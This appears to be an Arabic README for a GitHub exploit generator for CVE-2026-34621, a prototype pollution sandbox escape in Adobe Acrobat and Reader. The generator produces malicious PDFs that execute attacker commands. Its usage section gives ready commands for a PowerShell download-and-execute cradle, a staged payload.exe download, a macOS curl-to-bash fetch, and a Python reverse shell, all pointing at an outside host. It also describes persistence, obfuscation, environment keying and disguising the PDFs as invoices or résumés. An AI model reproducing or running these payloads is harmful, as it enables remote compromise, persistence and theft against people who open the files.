null200ok/cve_2026_34621_advancedمولّد استغلال متطور ومتعدد المنصات لثغرة **CVE-2026-34621** – وهي ثغرة حرجة في تلوث النماذج الأولية (prototype pollution) في Adobe Acrobat وReader تؤدي إلى الهروب من بيئة الحماية (sandbox escape) وتنفيذ تعليمات برمجية عشوائية على أنظمة Windows وmacOS.
أداة متطورة ومتعددة المنصات لتوليد استغلال CVE-2026-34621 – ثغرة تلوّث النموذج الأولي (Prototype Pollution) حرجة في Adobe Acrobat وReader تؤدي إلى تجاوز بيئة الحماية (Sandbox) وتنفيذ أوامر عشوائية على أنظمة Windows وmacOS.
⚠️ إخلاء مسؤولية مهم
هذه الأداة مخصصة فقط للبحث الأمني المصرّح به واختبار الاختراق.
الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
CVE-2026-34621 هي ثغرة يوم-الصفر (Zero-Day) في Adobe Acrobat وReader تسمح للمهاجم بـ:
يقوم هذا المولّد بإنشاء ملف PDF خبيث، عند فتحه في إصدار ضعيف من Adobe Reader، ينفّذ تلقائيًا حمولة (Payload) مخصصة لنظام تشغيل الضحية.
منصات الأهداف المدعومة:
| الفئة | القدرات |
|---|---|
| حمولات متعددة المنصات | اكتشاف نظام التشغيل تلقائيًا واختيار طريقة تنفيذ الأوامر المناسبة لنظام Windows أو macOS. |
| نواقل تنفيذ متعددة | cmd.exe، PowerShell، WScript.Shell (Windows) / Terminal.app، osascript (macOS). |
| حمولات مرحلية | تنزيل وتنفيذ حمولات المرحلة الثانية من عنوان URL بعيد. |
| الاستمرارية | تثبيت مفتاح تشغيل في السجل (Windows) أو LaunchAgent (macOS). |
| تقنيات التهرب | ثلاثة مستويات من تشويش JavaScript، وربط بالبيئة، وتأخير التنفيذ، وأكواد متعددة الأشكال. |
| تضمين PDF كطُعم | دمج الاستغلال في ملف PDF يبدو شرعيًا (يتطلب PyPDF2). |
| مشغلات متعددة | OpenAction، إجراء فتح الصفحة، أو JavaScript على مستوى المستند. |
| تقارير شاملة | تقارير HTML وTXT وJSON تفصّل تكوين الحمولة. |
git clone https://github.com/NULL200OK/CVE-2026-34621-Exploit.git
cd CVE-2026-34621-Exploit
python3 -m venv venv
source venv/bin/activate # Linux/macOS
venv\Scripts\activate # Windows
يستخدم السكربت الأساسي مكتبة Python القياسية فقط. لميزة دمج PDF كطُعم، قم بتثبيت PyPDF2:
pip install PyPDF2
قم بتوليد ملف PDF أساسي يفتح الآلة الحاسبة على كل من Windows وmacOS:
python3 cve_2026_34621_advanced.py -o test.pdf
سيؤدي ذلك إلى إنشاء:
test.pdf – ملف PDF الخبيث.
test_report.html – تقرير HTML مفصّل.
test_report.txt – ملخص نصي عادي.
test_config.json – تصدير تكوين JSON.
أوامر Windows
1-السيناريو الأمر
أ-نافذة calc.exe الأساسية
python cve_2026_34621_advanced.py -o invoice.pdf --win calc.exe
صدفة عكسية عبر PowerShell
python cve_2026_34621_advanced.py -o contract.pdf --win "powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.5/shell.ps1')\""
حمولة مرحلية مع استمرارية
python cve_2026_34621_advanced.py -o resume.pdf --win calc.exe --stage http://192.168.1.100/payload.exe -p
مربوطة بالبيئة (تعمل فقط على "SALES-PC")
python cve_2026_34621_advanced.py -o targeted.pdf --win calc.exe -k SALES-PC
مع مستوى تشويش 2 وتأخير 10 ثوانٍ
python cve_2026_34621_advanced.py -o delayed.pdf --win calc.exe -O 2 -d 10
أوامر macOS
2-السيناريو الأمر
فتح الآلة الحاسبة
python cve_2026_34621_advanced.py -o invoice.pdf --mac "open /System/Applications/Calculator.app"
تنزيل وتنفيذ سكربت
python cve_2026_34621_advanced.py -o update.pdf --mac "curl -s http://10.0.0.5/mac_payload.sh | bash"
صدفة عكسية عبر Python
python cve_2026_34621_advanced.py -o shell.pdf --mac "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.5\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
استمرارية عبر LaunchAgent
python cve_2026_34621_advanced.py -o persist.pdf --mac "open /Applications/Calculator.app" -p
التضمين في ملف PDF كطُعم
python cve_2026_34621_advanced.py -o safe_invoice.pdf -l /path/to/real_invoice.pdf --trigger pageopen
3-ملاحظة اختبار الأجهزة المحمولة
يعمل السكربت نفسه على أجهزة سطح المكتب (Windows/macOS/Linux) لتوليد ملف PDF. يمكن فتح ملف PDF المولّد على أجهزة Android أو iOS، ولكن:
إصدارات Adobe Acrobat Reader المحمولة غير معرضة لثغرة CVE-2026-34621.
ستقوم الحمولة بتشغيل وضع احتياطي تجريبي غير ضار (فتح عنوان URL أو عرض تنبيه) بدلاً من تنفيذ أوامر النظام.
الخيار الوصف
-o، --output FILE مطلوب. اسم ملف PDF الناتج.
--win CMD أمر Windows للتنفيذ (الافتراضي: calc.exe).
--mac CMD أمر macOS للتنفيذ (الافتراضي: open /System/Applications/Calculator.app).
--stage URL عنوان URL لتنزيل حمولة المرحلة الثانية منه.
-p، --persistence تثبيت آلية الاستمرارية (Registry/LanchAgent).
-O، --obfuscate LEVEL مستوى تشويش JavaScript (0=بدون، 1=أساسي، 2=متوسط، 3=متقدم).
-d، --delay SECONDS تأخير التنفيذ بالثواني المحددة.
-k، --key HOSTNAME ربط بالبيئة – التنفيذ فقط على اسم المضيف المطابق.
-l، --lure PDF مسار ملف PDF شرعي لاستخدامه كطُعم (دمج الاستغلال).
--trigger TYPE ناقل التشغيل: openaction، pageopen، أو doclevel.
--no-reports تخطي توليد تقارير HTML/TXT/JSON.
--seed N تعيين بذرة عشوائية لتوليد متعدد الأشكال قابل للتكرار.
سلسلة الهجوم
تلوّث النموذج الأولي:
يقوم JavaScript المضمّن بتعديل Object.prototype لحقن خصائص خبيثة (__trusted، privileged، إلخ). يؤدي ذلك إلى إرباك حدود الثقة في محرك JavaScript الخاص بـ Adobe.
تصعيد السياق
بسبب النموذج الأولي الملوّث، يتعامل المحرك بشكل غير صحيح مع JavaScript غير الموثوق به في المستند كما لو كان يعمل في سياق مميز.
الوصول إلى واجهات برمجة التطبيقات المميزة
يمكن للسكربت الآن استدعاء واجهات برمجة تطبيقات مقيدة مثل app.launchURL وutil.readFileIntoStream وapp.trustedFunction.
تجاوز بيئة الحماية
تسمح هذه الواجهات بالوصول إلى نظام الملفات وتنفيذ العمليات خارج بيئة حماية Adobe.
تنفيذ الأكواد العشوائية
ينفّذ السكربت أمر المهاجم باستخدام طرق خاصة بنظام التشغيل:
Windows: cmd.exe /c، PowerShell، أو WScript.Shell.
macOS: معالج عنوان URL الخاص بـ Terminal.app أو osascript.
مستويات التشويش
المستوى الوصف
0 بدون تشويش – JavaScript عادي قابل للقراءة.
1 تحويل السلاسل النصية إلى String.fromCharCode، وعشوائية أسماء المتغيرات.
2 المستوى 1 + حقن أكواد ميتة وتعليقات غير مفيدة.
3 ترميز السكربت بالكامل بـ base64 وتغليفه في eval(atob(...))، ثم إعادة تشويشه.
المنتج المسار الإصدارات الضعيفة الإصدار المُصحّح
Adobe Acrobat DC مستمر ≤ 26.001.21367 26.001.21411
Adobe Acrobat Reader DC مستمر ≤ 26.001.21367 26.001.21411
Adobe Acrobat 2024 كلاسيكي ≤ 24.001.30356 24.001.30362 (Windows) / 24.001.30360 (macOS)
التحديث فورًا: تطبيق أحدث التحديثات الأمنية من Adobe.
تعطيل JavaScript في Adobe Reader: تحرير ← تفضيلات ← JavaScript ← إلغاء تحديد "تمكين Acrobat JavaScript" (لاحظ أن هذا يعطّل بعض وظائف PDF).
استخدام عارضات PDF بديلة: فكّر في استخدام المتصفحات أو العارضات التابعة لجهات خارجية غير المتأثرة.
المساهمات مرحّب بها، ولكن يرجى ملاحظة:
يجب أن تكون جميع طلبات السحب (Pull Requests) لأغراض البحث الدفاعي أو تحسينات الكشف أو تحسينات إعداد التقارير.
لا نقبل المساهمات التي تزيد من القدرة الهجومية للأداة بما يتجاوز ما هو ضروري للاختبار المشروع.
للمساهمة:
قم بعمل Fork للمستودع.
أنشئ فرع ميزة.
أرسل طلب سحب مع وصف واضح للتغييرات.
هذا المشروع مقدم لأغراض تعليمية واختبار أمني مصرّح به فقط.
باستخدامك لهذا البرنامج، فإنك توافق على أنك مسؤول عن الامتثال لجميع القوانين واللوائح المعمول بها.
يتنصل المؤلف من أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة.